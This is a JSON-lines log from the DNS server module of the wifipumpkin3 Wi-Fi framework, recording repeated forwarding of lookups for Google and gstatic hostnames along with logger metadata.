{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.080500", "seconds": 36.0805}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.506313-03:00", "timestamp": 1584232922.506313}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.144766", "seconds": 36.144766}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.570579-03:00", "timestamp": 1584232922.570579}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.214478", "seconds": 36.214478}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.640291-03:00", "timestamp": 1584232922.640291}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.321843", "seconds": 36.321843}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.747656-03:00", "timestamp": 1584232922.747656}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.339996", "seconds": 36.339996}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.765809-03:00", "timestamp": 1584232922.765809}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.408830", "seconds": 36.40883}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.834643-03:00", "timestamp": 1584232922.834643}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.497231", "seconds": 36.497231}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.923044-03:00", "timestamp": 1584232922.923044}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.591567", "seconds": 36.591567}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.017380-03:00", "timestamp": 1584232923.01738}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.665954", "seconds": 36.665954}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.091767-03:00", "timestamp": 1584232923.091767}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.743275", "seconds": 36.743275}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.169088-03:00", "timestamp": 1584232923.169088}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.821383", "seconds": 36.821383}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.247196-03:00", "timestamp": 1584232923.247196}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:36.985826", "seconds": 36.985826}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.411639-03:00", "timestamp": 1584232923.411639}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.096847", "seconds": 37.096847}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.522660-03:00", "timestamp": 1584232923.52266}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.209172", "seconds": 37.209172}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.634985-03:00", "timestamp": 1584232923.634985}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.269615", "seconds": 37.269615}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.695428-03:00", "timestamp": 1584232923.695428}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.326474", "seconds": 37.326474}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.752287-03:00", "timestamp": 1584232923.752287}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.410968", "seconds": 37.410968}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.836781-03:00", "timestamp": 1584232923.836781}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.512234", "seconds": 37.512234}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.938047-03:00", "timestamp": 1584232923.938047}}}
{"text": "2020-03-14 at 21:42:03 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.529057", "seconds": 37.529057}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:03.954870-03:00", "timestamp": 1584232923.95487}}}
{"text": "2020-03-14 at 21:42:04 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.604671", "seconds": 37.604671}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:04.030484-03:00", "timestamp": 1584232924.030484}}}
{"text": "2020-03-14 at 21:42:04 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.652175", "seconds": 37.652175}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:04.077988-03:00", "timestamp": 1584232924.077988}}}
{"text": "2020-03-14 at 21:42:04 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.755566", "seconds": 37.755566}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:04.181379-03:00", "timestamp": 1584232924.181379}}}
{"text": "2020-03-14 at 21:42:04 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.841827", "seconds": 37.841827}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:04.267640-03:00", "timestamp": 1584232924.26764}}}
{"text": "2020-03-14 at 21:42:04 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:37.995483", "seconds": 37.995483}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:04.421296-03:00", "timestamp": 1584232924.421296}}}
{"text": "2020-03-14 at 21:42:04 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:38.110365", "seconds": 38.110365}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:04.536178-03:00", "timestamp": 1584232924.536178}}}
{"text": "2020-03-14 at 21:42:04 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:38.188357", "seconds": 38.188357}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:04.614170-03:00", "timestamp": 1584232924.61417}}}
{"text": "2020-03-14 at 21:42:04 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:38.273376", "seconds": 38.273376}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:04.699189-03:00", "timestamp": 1584232924.699189}}}
{"text": "2020-03-14 at 21:42:04 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:38.543567", "seconds": 38.543567}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:04.969380-03:00", "timestamp": 1584232924.96938}}}
{"text": "2020-03-14 at 21:42:05 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:38.797418", "seconds": 38.797418}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:05.223231-03:00", "timestamp": 1584232925.223231}}}
{"text": "2020-03-14 at 21:42:05 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:39.015760", "seconds": 39.01576}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:05.441573-03:00", "timestamp": 1584232925.441573}}}
{"text": "2020-03-14 at 21:42:05 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:39.241650", "seconds": 39.24165}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:05.667463-03:00", "timestamp": 1584232925.667463}}}
{"text": "2020-03-14 at 21:42:05 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:39.428032", "seconds": 39.428032}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:05.853845-03:00", "timestamp": 1584232925.853845}}}
{"text": "2020-03-14 at 21:42:06 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:39.600959", "seconds": 39.600959}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:06.026772-03:00", "timestamp": 1584232926.026772}}}
{"text": "2020-03-14 at 21:42:06 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:39.764534", "seconds": 39.764534}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:06.190347-03:00", "timestamp": 1584232926.190347}}}
{"text": "2020-03-14 at 21:42:06 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:39.923500", "seconds": 39.9235}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:06.349313-03:00", "timestamp": 1584232926.349313}}}
